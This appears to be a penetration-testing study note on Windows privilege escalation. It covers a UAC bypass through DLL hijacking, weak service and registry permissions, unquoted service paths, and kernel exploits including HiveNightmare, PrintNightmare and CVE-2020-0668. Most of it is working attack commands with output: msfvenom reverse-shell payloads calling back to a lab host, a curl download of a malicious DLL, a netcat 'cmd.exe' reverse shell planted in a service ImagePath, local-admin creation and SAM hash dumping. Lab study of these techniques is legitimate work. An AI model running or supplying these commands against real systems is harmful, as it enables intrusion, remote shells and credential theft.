---
title: "Attacking the OS (UAC, Perms, Kernel, vuln svcs)"
date: 2025-03-25
draft: false
---

## User Account Control (UAC) attacks

Feature that enables consent prompt for elevated actions. 
Applications have `integrity` levels, programs with high level can perform tasks that can potentially compromise a system. 

Enabled = apps + tasks always run under sec context of a non-admin account unless admin explicitly authorizes apps/tasks to have admin level access. 

https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works

Admins can use sec policies to configure UAC works specific to their org at local level, using `secpol.msc` - or configured / pushed to env via GPO (Group policy objects) in AD domain. https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings

**DEFAULT 500 RID Administrator account** always operates at `high` mandatory level. With Admin Approval mode (AAM) enabled - new admin accounts will operate at `medium` mandatory level by default + assigned two separate access tokens upon login. 
### UAC Group Policy grid 

|Group Policy Setting|Registry Key|Default Setting|
|---|---|---|
|[User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account)|FilterAdministratorToken|Disabled|
|[User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop)|EnableUIADesktopToggle|Disabled|
|[User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)|ConsentPromptBehaviorAdmin|Prompt for consent for non-Windows binaries|
|[User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)|ConsentPromptBehaviorUser|Prompt for credentials on the secure desktop|
|[User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)|EnableInstallerDetection|Enabled (default for home) Disabled (default for enterprise)|
|[User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated)|ValidateAdminCodeSignatures|Disabled|
|[User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)|EnableSecureUIAPaths|Enabled|
|[User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode)|EnableLUA|Enabled|
|[User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation)|PromptOnSecureDesktop|Enabled|
|[User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations)|EnableVirtualization|Enabled|

[Source](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings)

### Confirming UAC is enabled, checking UAC
No cmdline version of gui consent prompt - so bypass UAC require to execute cmds with privileged access token. 

**Confirming enabled, and level**
```cmd-session
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    EnableLUA    REG_DWORD    0x1
```

```cmd-session
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    ConsentPromptBehaviorAdmin    REG_DWORD    0x5
```

**ConsentPromptBehaviorAdmin** value is **0x5** indicating highest UAC level of `Always Notify` is enabled. Fewer UAC bypasses at this highest level. 

**Checking windows environment version**
```bash
[environment]::OSVersion.Version
Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0
```

See: Build version `14393` - Using this page we cross-reference to Windows release **1607**: https://en.wikipedia.org/wiki/Windows_10_version_history 


**UACME Project**
The [UACME](https://github.com/hfiref0x/UACME) project maintains a list of UAC bypasses, including information on the affected Windows build number, the technique used, and if Microsoft has issued a security update to fix it.

there's many trusted binaries Windows allows to auto-elevate, without prompting UAC
### Example of UAC bypass
https://egre55.github.io/system-properties-uac-bypass
- Tehnique #54 in above project
- Attempt loading non-existent DLL `srrstr.dll` (Used by system restore functionality)

When attempting to locate a DLL, Windows will use the following search order.
1. The directory from which the application loaded.
2. The system directory `C:\Windows\System32` for 64-bit systems.
3. The 16-bit system directory `C:\Windows\System` (not supported on 64-bit systems)
4. The Windows directory.
5. Any directories that are listed in the PATH environment variable.

**Examining PATH var**
```bash
cmd /c echo %PATH% 
[...]
C:\Users\sarah\AppData\Local\Microsoft\WindowsApps;
```
Reveals default folders. `WindowsApps` folder is within user profile and writable by user. 
We can potentially bypass UAC in this by using DLL hijacking - placing malicious `srrstr.dll` DLL in `WindowsApps`, loaded in an elevated context. 

**Generate malicious srrstr.dll**
```shell-session
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=8443 -f dll > srrstr.dll

--begin py serv
```

Basic transferring. wget or curl 
```bash
curl http://10.10.14.3:8080/srrstr.dll -O "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll"
```

Start listener. 

Executing malicious srrstr.dll by itself - receive shell with normal user rights (UAC enabled) 
use `rundll32.exe` to confirm 
```bash
rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll
```

(if you run this to test, make sure you kill any instances of rundll32 process before proceeding)
```bash
C:\htb> tasklist /svc | findstr "rundll32"
rundll32.exe                  6300 N/A
rundll32.exe                  5360 N/A
rundll32.exe                  7044 N/A

C:\htb> taskkill /PID 7044 /F
SUCCESS: The process with PID 7044 has been terminated.

C:\htb> taskkill /PID 6300 /F
SUCCESS: The process with PID 6300 has been terminated.

C:\htb> taskkill /PID 5360 /F
SUCCESS: The process with PID 5360 has been terminated.
```

Now, try 32-bit verseion of target binary on target host
```bash
C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
```

and we should receive a connection back
![](/img/Pasted image 20250319224258.png)

---
## Weak permissions 
Following examples usually less common in major(enterprise), large vendor applications but more common in third party software from smaller vendors, opensource software, and custom applications 

### Permissive file systems ACLs
`SharpUp` usage is helpful here to **check for service binaries suffering from weak ACLs**
https://github.com/GhostPack/SharpUp/
```bash
.\SharpUp.exe audit 

=== SharpUp: Running Privilege Escalation Checks ===


=== Modifiable Service Binaries ===

  Name             : SecurityService
  DisplayName      : PC Security Management Service
  Description      : Responsible for managing PC security
  State            : Stopped
  StartMode        : Auto
  PathName         : "C:\Program Files (x86)\PCProtect\SecurityService.exe"
```

`icacls` - **Checking permissions** and verify vulnerability to see `EVERYONE` + `BUILTIN\Users` groups have full perms to the directory - meaning any unpriv sys user can manipulate the directory and its contents 
```bash
icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"

C:\Program Files (x86)\PCProtect\SecurityService.exe BUILTIN\Users:(I)(F)
                                                     Everyone:(I)(F)
                                                     NT AUTHORITY\SYSTEM:(I)(F)
                                                     BUILTIN\Administrators:(I)(F)
                                                     APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                     APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
```

**Replace service binary**
- startable by unpriv
- make backup, replace with malicious payload created by msfvenom 
```bash
C:\htb> cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"
C:\htb> sc start SecurityService
```

### Weak service permissions

Similar as above - Use `SharpUp.exe audit` to locate modifiable service binaries

**Checking permissions with AccessChk**
`-q` (omit banner), `-u` (suppress errors), `-v` (verbose), `-c` (specify name of a Windows service), and `-w` (show only objects that have write access)

```bash
accesschk.exe /accepteula -quvcw WindscribeService
 
Accesschk v6.13 - Reports effective permissions for securable objects
Copyright ⌐ 2006-2020 Mark Russinovich
Sysinternals - www.sysinternals.com
 
WindscribeService
  Medium Mandatory Level (Default) [No-Write-Up]
  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\Authenticated Users
        SERVICE_ALL_ACCESS
```

Confirm your user is not an admin. 

**Change service binary path**
```bash
sc config WindscribeService binpath="cmd /c net localgroup administrators htb-student /add"

[SC] ChangeServiceConfig SUCCESS
```

`sc stop` and `sc start` service to make binpath cmd executed 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1322 
Is another example of the above vulnerability, service accounts able to leverage weak permissions and Update Orchestrator Service UsoSvc and escalate to SYSTEM

Clean-up post-exploit 
```bash
C:\htb> sc config WindScribeService binpath="c:\Program Files (x86)\Windscribe\WindscribeService.exe"
```

---
### Unquoted Service Paths

If binary not encapsulated in quotes, windows will atempt to locate a binary in different folders. 
Example binpath: 
```bash
C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe
```

Order of evaluation:
```bash
C:\Program
C:\Program Files
C:\Program Files (x86)\System
```


Example: 
```cmd-session
C:\htb> sc qc SystemExplorerHelpService

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SystemExplorerHelpService
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe
```

If able to place binary in this file location, can be exploited: 
- `C:\Program Files (x86)\System.exe`
- `C:\Program.exe` 

It's likely you don't have write perms on above locations however. 

**Searching for unquoted service paths:**
```cmd-session
C:\htb> wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
```

---

### Permissive Registry ACLs 

Using accesschk: 

```bash
accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services

Accesschk v6.13 - Reports effective permissions for securable objects
Copyright ⌐ 2006-2020 Mark Russinovich
Sysinternals - www.sysinternals.com

RW HKLM\System\CurrentControlSet\services\ModelManagerService
        KEY_ALL_ACCESS

<SNIP> 
```

Above is abusable with powershell `Set-ItemProperty` to change `ImagePath` value: 

```powershell-session
PS C:\htb> Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443"
```

---
### Modifiable Registry Autorun Binary

Using WMIC - Check startup programs. 
Suppose write perms to registry for given binary, and can overwrite a listed binary. 
In this case, we can escalate privileges to another user - next time they login. 

```bash
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User |fl
```
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.html

https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2

Above links detail many potential autorun locations on Win systems. 

---
## Kernel Exploits 

https://msrc.microsoft.com/update-guide/vulnerability
Exploit database. 

There's many high impact windows vulns and usually when a CVE is released there's a trickledown effect where prior versions are affected 

Commonly, boxes are not accessible from outside - Land on a box, forward port to a service like SMB, and leveraging an RCE CVE to escalate privileges. 

Some examples covered in Module:
**MS08-067**
- RCE vuln in "Server" service, improper handling of RPC. 
- While typically encountered in client envs as RCE, may land on host where SMB blocked via firewall - Vuln can be used to escalate privs after forwarding 445 back to our attacking box. `Legacy` box on HTB showcases this vuln. 
**MS17-010**
- EternalBlue
- Mishandled SMB packets. Similar attack vector as above. 
**ALPC Task Scheduler 0-day**
- ALPC Endpoint used by task scheduler could write arbitrary DACLs to `.job` files located at `C:\Windows\Tasks` 
- Leveraged by creating hard link to file that attacker controls 
- Exploit used [SchRpcSetSecurity](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/a8172c11-a24a-4ad9-abd0-82bcf29d794d?redirectedfrom=MSDN) API function to call a print job using the XPS printer and hijack the DLL as NT AUTHORITY\SYSTEM via the Spooler service.

### SeriousSam walkthrough
**`CVE-2021-36934 HiveNightmare, aka SeriousSam`**
- Any user able to read windows registry + access sensitive information 
- Allow reading of SAM, SYSTEM, SECURITY reg hives 
- https://doublepulsar.com/hivenightmare-aka-serioussam-anybody-can-read-the-registry-in-windows-10-7a871c465fa5
- https://github.com/GossiTheDog/HiveNightmare/raw/master/Release/HiveNightmare.exe
- Detection:https://github.com/GossiTheDog/HiveNightmare/blob/master/Mitigation.ps1

**icacls to check perms on SAM file**
```cmd-session
C:\htb> icacls c:\Windows\System32\config\SAM

C:\Windows\System32\config\SAM BUILTIN\Administrators:(I)(F)
                               NT AUTHORITY\SYSTEM:(I)(F)
                               BUILTIN\Users:(I)(RX)
                               APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                               APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
```
- readable by BUILTIN\Users

Successful exploitation requires presence of one/more shadow copies. Most win10 systems will have `System Protection` enabled by default which will create period backups + including shadow copy necessary to leverage flaw 

Run poc https://github.com/GossiTheDog/HiveNightmare
`.\HiveNightmare.exe` - Places hive files in cwd 

Typical secretsdump usage after this to extract hashes 
```bash
impacket-secretsdump -sam SAM-2021-08-07 -system SYSTEM-2021-08-07 -security SECURITY-2021-08-07 local
```

### PrintNightmare 
CVE-2021-1675/CVE-2021-34527 PrintNightmare
`SeLoadDriverPrivilege` ability to add printer devices. 
Affects a wide version of winservers and not trivial to fix, hence Nightmare 
https://github.com/cube0x0/CVE-2021-1675
- Poc allows execution of malicious DLL remotely / locally with modified version of impacket 

Check for spooler service: 
```powershell-session
ls \\localhost\pipe\spoolss
```

Exec bypass:
https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/
```powershell-session
 Set-ExecutionPolicy Bypass -Scope Process
```

Import script and add local admin:
```powershell-session
Import-Module .\CVE-2021-1675.ps1

Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"
```

---
### Enumerating missing patches 

**Examining installed updates**
```powershell-session
PS C:\htb> systeminfo
PS C:\htb> wmic qfe list brief
PS C:\htb> Get-Hotfix
```

WMI: 
```cmd-session
 wmic qfe list brief
```
Reference each KB to `Microsoft Update Catalog`: 
https://www.catalog.update.microsoft.com/Search.aspx?q=KB5000808

### CVE-2020-0668 Example
Next, let's exploit Microsoft CVE-2020-0668: Windows Kernel Elevation of Privilege Vulnerability
https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/
- Arbitrary file move vuln - using Windows Service Tracing 
	- WST allow users to troubleshoot issues with running services / modules by generating debug info
	- Params configurable via registry
	- Setting MaxFileSize val smaller than actual size of a file prompts it to be renamed with a `.OLD` extension when service is triggered - and this move operation is performed by `NT AUTHORITY\SYSTEM` - can be abused to move a file of our choosing with mount points and symbolic links. 

https://github.com/RedCursorSecurityConsulting/CVE-2020-0668
Poc: Open within VisStu in a VM. Building solution yields:
```bash
CVE-2020-0668.exe
CVE-2020-0668.exe.config
CVE-2020-0668.pdb
NtApiDotNet.dll
NtApiDotNet.xml
```
- Does not work to overwrite protected windows files
- Needs to be chained with another vulnerability like  [UsoDllLoader](https://github.com/itm4n/UsoDllLoader) or [DiagHub](https://github.com/xct/diaghub) to load the DLL + escalate our privileges. 
	- UsoDll may not work if winupdate pending / being installed
	- DiagHub svc may not be available
- Outside of above, can look for 3p software to be leveraged like `Mozilla Maintenance service` - Runs in context of system, startable by unpriv users. The (non-system protected) binary for this svc is located at: 
	- `C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe`

```cmd-session
C:\htb> icacls "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe NT AUTHORITY\SYSTEM:(I)(F)
                                                                          BUILTIN\Administrators:(I)(F)
                                                                          BUILTIN\Users:(I)(RX)
                                                                          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                                          APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
 
Successfully processed 1 files; Failed processing 0 files
```

- Demonstrates we only have read/exec perms on this binary - `BUILTIN\Users:(I)(RX)`

**Generate malicious binary**
```shell-session
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f exe > maintenanceservice.exe
```
Host with py server, transfer to target. 

```cmd-session
C:\Tools\CVE-2020-0668\CVE-2020-0668.exe C:\Users\htb-student\Desktop\maintenanceservice.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"      
```

After running the cve poc, icacls shows we have full control over this binary now. 

```cmd-session
C:\htb> icacls 'C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe'

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe NT AUTHORITY\SYSTEM:(F)
                                                                          BUILTIN\Administrators:(F)
                                                                          WINLPE-WS02\htb-student:(F)
```

Thus, we can replace the maintenance service binary with our malicious one. 
**Important point here is to backup the version of the binary BEFORE we ran the CVE POC so we still have a 'good' working version of the binary**

Exploit walkthrough involves usage of a metasploit resource script 
https://docs.rapid7.com/metasploit/resource-scripts/ 
Basically a way of scripting opening a metasploit listener 

```bash
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST <our_ip>
set LPORT 8443
exploit
```

```shell-session
sudo msfconsole -r handler.rc 
```

Start the malicious binary: 
```bash
net start MozillaMaintenance
```

Metasploit catch: 
```bash
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

